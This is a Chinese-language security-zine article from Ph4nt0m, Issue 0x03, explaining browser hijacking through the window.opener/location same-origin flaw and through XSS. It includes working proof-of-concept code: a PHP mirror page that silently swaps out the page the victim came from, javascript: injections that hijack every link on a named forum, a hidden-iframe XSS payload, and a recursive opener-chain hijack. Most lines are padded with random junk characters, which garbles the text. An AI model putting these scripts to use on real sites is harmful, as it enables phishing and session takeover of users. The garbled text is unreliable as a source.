==Ph4nt0m Security Team==- U" Z1 \" i# r: T5 w" U3 S: \. V
9 [9 p$ J7 D. S% d+ S Issue 0x03, Phile #0x05 of 0x077 [3 @0 X5 @% @, E% @% N
- V- a, L5 R# }5 r
$ \8 B- |0 O, c/ \- Z) a
|=---------------------------------------------------------------------------=|
. m: }! h' p8 q+ A; h|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|3 t1 R. [( d) }0 J
|=---------------------------------------------------------------------------=|
# y4 s2 N5 F6 Y) ]2 }|=---------------------------------------------------------------------------=|
* E1 [; a8 S* h+ h% \# r|=------------------------=[ By rayh4c ]=---------------------------=|! m% `- C$ J3 c: q1 p
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|7 d$ Z) y* Q- v1 p2 V5 [
|=---------------------------------------------------------------------------=|
2 l. `+ u) M- F# t, }4 x7 H4 Q2 X/ r! N7 j. n. j
; M h# k' p& o J4 l! l- M/ I# t4 S[目录]7 i" ~8 c5 m# I7 j) i6 q: A/ u
+ Q4 J: }" B8 R8 O& B
1. 前言% @# Z7 D9 i: H* ~ f% p
2. 同源策略简叙5 i ]! M# e) Q- d6 @! _$ p5 B
3. 理解window对象的同源策略) ^+ ~/ n; `0 S4 D0 ]" A/ A) ~% x! r6 [
4. 窗口引用功能中的同源策略漏洞) l4 f" v1 S7 K6 J/ O/ [7 p
4.1 父窗口引用子窗口的同源策略问题
E* q# y" E+ _& j1 c* C' S 4.2 子窗口引用父窗口的同源策略问题5 f6 y4 K+ E7 t
5. 利用窗口引用漏洞劫持浏览器 O$ @& Z6 ?% M! U- z3 i( x
6. 利用XSS漏洞劫持浏览器/ {+ P- B. f4 c3 \1 C
6.1 正向跨窗口劫持
8 E8 Z" p, C) n 6.2 反向跨窗口劫持! k+ G" M" ^% b5 d8 c
6.3 极度危险的跨框架窗口引用劫持# W, [/ [! Q3 y# f
6.4 极度危险的正反向跨窗口递归劫持
2 i- d$ u c9 ^8 Q# ]1 Q 6.5 完全控制浏览器( C& e% C3 i/ n* e& M" m
7. 后记
0 T K; g, H! r* W7 b* b' S8. 参考6 a# i- J& c7 e w- ]4 ?: e8 o
* o# z/ v$ T X9 S2 H& X
" s* y1 ?# s9 j5 Q( }# X8 A# i) u* U
一、前言
( k: K8 s6 V3 N# z/ Y4 X0 A- [: I( `4 @# y7 S' _- m. y
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋- w5 @4 ], v/ x6 R
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
# v6 n2 i N# F# [: Q$ U+ _. R! [劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
: s% z: R% w& d# l条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
/ c, G4 q/ K. d5 U7 m
* |$ y" G7 q( B3 I0 B( S1 P+ u( A$ @$ B& |
二、同源策略简叙3 `5 @! D/ D. ?3 d, G
9 \) M5 T0 p* ]5 @, X* k4 q+ i 同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
0 Z$ T9 E7 S" J- k从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都: C% n) c3 O% L. Z2 Q7 {# r
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
0 C; `" P+ D( [7 i2 Z7 a. i马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个, {' G5 n8 U0 c$ }2 V
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
) E1 |6 I' k [2 H* d9 ?+ J T, j% A$ ?. H! H S1 R% X9 Z1 q
+ r# j3 \9 \$ f2 T. y三、理解window对象的同源策略) f9 D3 c2 X, m% w
- x, G% ]2 D: q* T2 X+ _
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
% S) ?+ H) \4 f+ l i7 _, L象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:3 w& h: l' w0 R% F
$ ]) ^0 i2 [" f; {) m4 n5 W2 _
--code-------------------------------------------------------------------------2 }- P- W9 P% w& ]: c
<script language="javascript">' K! W+ r* a( O! z3 |0 s7 o
for(p in window) document.write(p+"<br>");
: E4 d% n! h6 U+ S/ d</script>
5 {7 G5 {" S/ H& N$ Z$ ^3 b-------------------------------------------------------------------------------
& D/ v6 O4 ]# y" G* Y
4 M) ]% i8 S' X' k1 N- ^5 J" T. Y 这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方/ z- \0 ?+ F7 w Q
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,* L) ]% n4 _: t4 L* `( R% a
这些属性和方法就必须遵循同源策略。
( B% t) O. ]5 M& Q! B
# [1 {' R) S! R 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
- N/ |& t4 Y- p6 m3 S么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须1 y0 Y9 p v# e5 \( y. p( W: a( r
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这' w% F7 }* N& G4 c) p
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
+ e! Q4 l1 Q' ` m/ i值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location V9 R" g! i* ?. D- S
属性并没有被拒绝访问。2 S4 {5 T2 u3 w9 [0 d
- ]8 \$ l; d9 M5 T$ }& W8 X5 E--demo.html--------------------------------------------------------------------3 I/ e$ _4 b6 k. s, U+ e V
<script language="javascript"> - y) o& H3 @8 d/ Q3 o5 [1 l
function allPrpos(obj) {
; c( o$ K f u var props = "<table><tr><td>名称</td><td>值</td>";
% ?+ w- M5 ~+ i* X$ ]: i4 A for(var p in obj){
' {5 M2 h, i0 l if(typeof(obj[p])=="function"){ + T m" H' V5 |- e" Z. D, }6 W: g
obj[p]();
' ?6 |9 e% d1 w9 {+ j }else{ ; R" B" t% i0 h/ J: p
try % s. q0 ~1 ]1 r. j7 h/ R2 \
{ 8 c* ]" Q" |0 W$ W1 ]
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>"; ) K# _+ }' i1 ^; P
} - i8 H. @5 H% U; h/ L/ e5 a; K+ E
catch (ex)
6 F2 i: J, b- }! Y; g {
; C/ k: o* z1 w$ e" U
3 e5 R k& o* l! p3 a, V3 r$ G9 n+ _ props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
5 Y! z! R8 q& h+ \, a }
2 L: s9 n+ Q1 v& } % a% g% x8 J+ C3 T9 v5 _
}
7 g/ u( T5 T/ L } 2 E5 i. A1 V* v
; r7 S9 B0 U* ]3 J- {6 f0 C- S1 w2 J
document.write(props+"</table>"); ) B: ~0 W) \) A6 d
} % ` g6 E4 C. z' h% k( P
1 g; e* w) r7 j3 p" G% `- Mfunction createWin() {
6 h! ~+ s" b1 ~ newWin = window.open ("http://www.google.com");
4 J( z- D! d2 f3 R$ N setTimeout(function(){allPrpos(newWin)},2000);
. }+ ]: X3 k' U9 I- V a7 H0 O} 6 y" Q) ?" t4 a. {, g* B
! S8 I, p5 l9 I" [( o3 D5 Q
</script>
/ X9 _9 b5 n% N2 S
: ~7 e- [2 N; ?<button onclick='createWin()'>创建一个非同源子窗口测试</button>
/ j; l4 ^* ?% V-------------------------------------------------------------------------------; M' `% S( x9 W: m
6 _* J* {/ D9 p, K8 |5 L
; E/ [$ U, k; U: b四、窗口引用功能中的同源策略漏洞
6 t# j! e4 ]5 e, D: N3 n1 h
8 B, E+ k; M1 h5 M# _4 b) u4.1 父窗口引用子窗口的同源策略问题8 a" `2 t" w! y4 D9 b) e
0 ]& x* F x+ t6 F 去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
! k5 y {* j5 f& z/ h但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道* n; _' r5 Q/ M/ }0 d) J6 p z$ r. I
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进5 I+ _& N' R- N* g
行测试,会发现父窗口可以控制非同源子窗口location属性值。
' A) i9 C0 r" e( V: p" ^9 D+ `7 z& j2 q
--vul1.html--------------------------------------------------------------------* F! Z0 B3 Q. {2 V0 D
<script language="javascript"> , D# ^% C) g8 a; {( z) r" _
function createWin() { 7 H! ^( G1 C& n+ Z7 U( {
newWin = window.open ("http://www.google.com"); 4 \9 ?; Y$ c9 B
setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
7 m- m" H; {# v1 i}
5 X( O/ y% Q; R9 v2 E# v8 U8 T4 T</script>
& e7 T3 v2 l4 {! j* a: Y9 @3 k; ~8 b0 z6 f
<button onclick='createWin()'>创建一个非同源子窗口测试</button>3 v3 d ~" A) h' K% `
-------------------------------------------------------------------------------: D2 [6 d: J P$ O* @( M
# H/ I _# W8 a. ^2 } e4 m- `
' W+ K( o3 S/ T* ~& T0 E# t! e
4.2 子窗口引用父窗口的同源策略问题
* v1 F0 h) o! ?6 Y: p- v
* Q2 y7 I; y1 D! Q/ @ 逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
/ C! V' u% o- [2 m+ I. |/ z用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们" N2 }, Y9 V& s5 }8 d1 Q
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
, ]6 ~6 i6 z* p: |% w2 I- h7 x会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
, S: O% n( L4 T h5 A9 P" r# t+ H( O4 j6 V, b" r j; ?2 x
--code-------------------------------------------------------------------------7 v8 d# ~+ @% H( F! D, \7 ?
+ w& q/ v- F% C: Z2 W
javascript:window.opener.location = "http://www.80sec.com";void(0);
* s2 h4 n, _8 s3 U; D. E" m5 U( F% a- Z5 K9 }/ D) S
-------------------------------------------------------------------------------
. x9 b8 t9 W( y# Z4 l5 e; q% Y4 q1 S' T8 D8 A' Q
5 f3 P- M: U; @* X! x3 B: L五、利用窗口引用漏洞劫持浏览器
3 C6 r' }2 X6 v: r" V6 d- Z ~
" f, a A5 w; G 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子% s, q/ F) I4 _6 k. M0 h4 `9 S
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
: T! b. p* Z, K- G* H+ U么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。: {. j# c. C; @( s, L1 |+ }
; M, T3 ^4 h/ l0 r0 B
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
& F5 n E1 e, q+ F9 [生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或$ L& }6 i* t$ K- r a8 X
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接7 u* x! p$ V- e5 T! N( j+ a; V. k
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
2 O2 w& g% q% \会产生什么可怕的后果。
5 l( w' d6 f3 p- J4 g4 d; Z/ q
下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我' A) f; E, `* e' [7 b0 N+ J" ~; O
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
" q6 {- G& _/ c1 K( l' w这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时* x/ ?5 T+ {/ M" K: \; b
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
. w% e" W7 O& C5 G4 r! ^以做更多的事情,所有的一切仅仅是因为点击了一个链接。4 b& w4 u4 c8 B( i
6 I) M! O: `& P4 A2 C' e--hjk_ref.php------------------------------------------------------------------4 `1 }( ]/ r( w7 F
<?php& _& n+ W( `9 p2 @# W* B' C
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
, c: \2 v+ E/ T2 Z% D, [2 g* k5 S- o* u$Url_Mirror = $_SERVER["HTTP_REFERER"];5 a" g; h) u% ]" ~
} / T2 ^9 P+ J" \: \- g3 g
if(isset ($_GET['ref'])) {/ M$ [" z" @+ ~ s- C l' J5 I* f
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
, t- `1 v# s6 [3 `) N) g}: l) c [' E3 X5 K" N- u
?>" u- ], k. U: u4 j. U
* W- o- n* g" Q3 J9 i( K: ?
<script language="javascript">
3 h. h0 c! A. A Y9 k6 N* a: s# E! f. rsetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000); - K% {( r0 y9 d
</script>
/ M1 K3 E. E& d4 t& J' T1 u-------------------------------------------------------------------------------6 x; ~2 k L# P2 L) z+ P) P- F
5 b1 M0 o+ B# ]+ Q- N5 v9 F C
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。% ^3 M( g" l) ?% e0 O9 {% ]+ ^
N: T2 n/ W$ N2 O6 F+ H. P5 I+ d
}$ R$ H0 Q) v8 A) ~/ ^
六、利用XSS漏洞劫持浏览器1 i2 O6 }6 R8 T* V; o/ S* q; Q
7 y" m; V0 n' X
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
4 S+ v: t: y% X+ f! ^+ A$ P" f持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后0 `+ A7 W4 Q, P" S5 S) ^/ f
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起7 l) `" B8 Y( l0 D1 v1 S
讨论跨站师的终极技巧:
3 V; V$ ^$ n9 J, M: P# [# ], y
: \* b9 [3 h& u+ F, O- Z, o9 X) U; N3 O$ Z3 u0 B2 J6 Q; y
6.1 正向跨窗口劫持
0 [$ _6 v, h8 n* n* P# O2 Z3 b
% ^; \% i, p% d4 c' T" }; M 大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛; `) n" `! _1 [: u$ Y$ g
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链9 m' ?0 R2 Q, f, }2 {
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话2 R& } O$ t4 L
框脚本。
. z# Y& ?! U7 D# E) e! S& |0 ?! O' [2 ^3 ?/ ]
--hijack_open.js---------------------------------------------------------------
" k1 `- x& j+ K0 Y) o6 G2 y _1 a" f
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);+ |/ a' z: k4 j
7 x* q/ U- J% \, O
-------------------------------------------------------------------------------4 c, d+ [& \" J. T/ N
1 X' w; x9 p$ k8 \% k( Q
2 r$ m' t/ Z9 A6.2 反向跨窗口劫持
: ]- h4 ^" l% |0 [+ k h' Y. g. A( K' n0 E, v/ D& P2 s& i
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代: f5 b; z: p' p9 t1 x7 p8 A, G
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话* I) m) ]0 g- @
框脚本。
) ^2 P7 B* u- `8 f4 W4 h6 ?
6 `" d' Z5 u1 B' v--hijack_opener.js-------------------------------------------------------------
0 ]4 ^9 l/ T2 p! z1 }, v' n( b7 z- ?8 Q/ c
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
" N7 T; W- _ ]: z$ K& }6 C, \; O4 o; G. K) X$ I4 }& }
-------------------------------------------------------------------------------" y- E, J) v+ m; ^# Z; q( m7 L
* f: q9 _' P4 S; ^! T4 T' r% _8 U' n; @9 G$ I, `( O
6.3 极度危险的跨框架窗口引用劫持
5 `/ \1 X7 l% `$ K# f! \9 n7 x ]. T& X% T" f2 J
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞" M M' {. ^4 E2 e$ o9 B
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就) G0 y+ t- X( j% L, s; ]: f4 k
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
9 I( t, U7 E! \7 D; E6 C非持久型的XSS,如下:) @, `" W. G! e6 P0 Z+ P
* ?. y; w1 t# t& X. r
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>( d$ V3 b$ }: ~4 r
- t7 c* l( P2 G
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
7 H% A+ R# d1 h- h! Y( L& v; }注入脚本。
/ f. ~$ ~$ x* Y/ g3 x: I3 z9 i/ X; v4 w% F. G
--hijack_frame_opener.js-------------------------------------------------------2 I) | B+ ~$ B
<script>" k2 a4 y& y, P5 f+ x
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";$ I3 X1 y& y+ l+ v- i# G( {
</script>" u3 v1 D6 ]; o9 g, H
-------------------------------------------------------------------------------
; o# I4 t2 m, t& O# _& r6 K" w& D1 I& x6 y0 G0 e6 t G! }) y
* m+ x( G7 \1 ~8 g2 m" |% @9 z8 Z8 g
6.4 极度危险的正反向跨窗口递归劫持
9 f$ l4 C; }, N, X" t7 [, H5 Z
# t; C, M0 e/ {8 d8 A$ ]5 Z luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
+ _6 {2 x5 s7 q p7 z$ ]% Q+ O& x% Y( X的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过; p# u4 m# ?0 D6 C& N( g2 G
异常处理规避之间跨域页面的访问异常,代码如下:
; [4 _4 T, O+ T% h" g% h8 P3 I3 e( M( b; k( M' W
--code-------------------------------------------------------------------------' J+ q* Q4 q" U' Y
- U. b" _/ b$ I7 Qjavascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);7 p9 |7 v: c: c# S" j' R# f9 i
6 ?- e7 \& P6 w/ w0 ~" f/ s; ]
-------------------------------------------------------------------------------. k& z. H" ^+ V" g. g
C3 x6 _9 x' M, N 假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
$ ?/ W# V2 Y4 I& [" k5 T% f以劫持B域之前的A域页面,从而实现“隔空打击”。; X1 w" N x6 Y5 t# f
) y- l1 H" P. A$ T7 M* ^
同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
4 n; d' I ^7 k! i# g执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
! {8 M; \. ?! _$ y; E( m
! n: x2 y* [, `" U5 F2 V 结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。9 e: \4 Z7 ], b" ^0 V' O$ u
) A9 Q5 F; P4 R9 v& i. }; k- ^9 _9 p- r h! j: d' n
6.5 完全控制浏览器
/ W7 R! W1 i6 a+ N+ l! E. M! b# |$ Q. w0 h: |
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
; c& v5 K5 O/ J是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS' ?8 _+ A. _/ |. _+ G
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失) O9 N8 S4 I) B1 S6 d b1 h; I
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
" |1 i; ]9 d! w列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
3 }1 E6 h. w% G* P" Q9 j& s7 y) _师的终极目标 - 完全控制浏览器。
1 o2 o( J- I5 E* R8 ^& p* D% K% N, r$ {+ i2 }
5 Z5 V/ \2 _* [. `' d
七、后记
' H4 d; c3 E9 Y; k, e8 K
# I. B5 u2 s0 r5 T 文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全+ N2 R6 V3 m# b
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予. O I! U4 x% x+ t( `, A0 y
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
, O7 H8 |- u. Z' i4 \% X, O# D; u5 N& u- V/ ~2 n
( C# ]# N2 a }+ O8 v& s% U3 u" `八、参考
7 {9 @( P, T+ H
0 K) x3 V, T* `/ o+ k1. http://en.wikipedia.org/wiki/Same_origin_policy
0 G8 l2 w8 y2 n& l7 D2. http://code.google.com/p/browser ... licy_for_DOM_access
" R$ P! P. n# M3 s3. http://www.w3.org/TR/Window/
! }) f$ ~* i5 {% X# Z* l0 \4. http://www.80sec.com/release/browser-hijacking.txt
6 ] j1 F- N6 A* Y& p& X( U% Z5. http://www.80sec.com/all-browser-security-alert.html2 J* t& l2 G3 r3 m8 g$ q: i4 P0 ^
6. http://www.80sec.com/ms08-058-attacks-google.html
{+ b. V% l- M; v) G- m9 Y
/ G3 F, J1 x+ e) r) T, u" j-EOF- |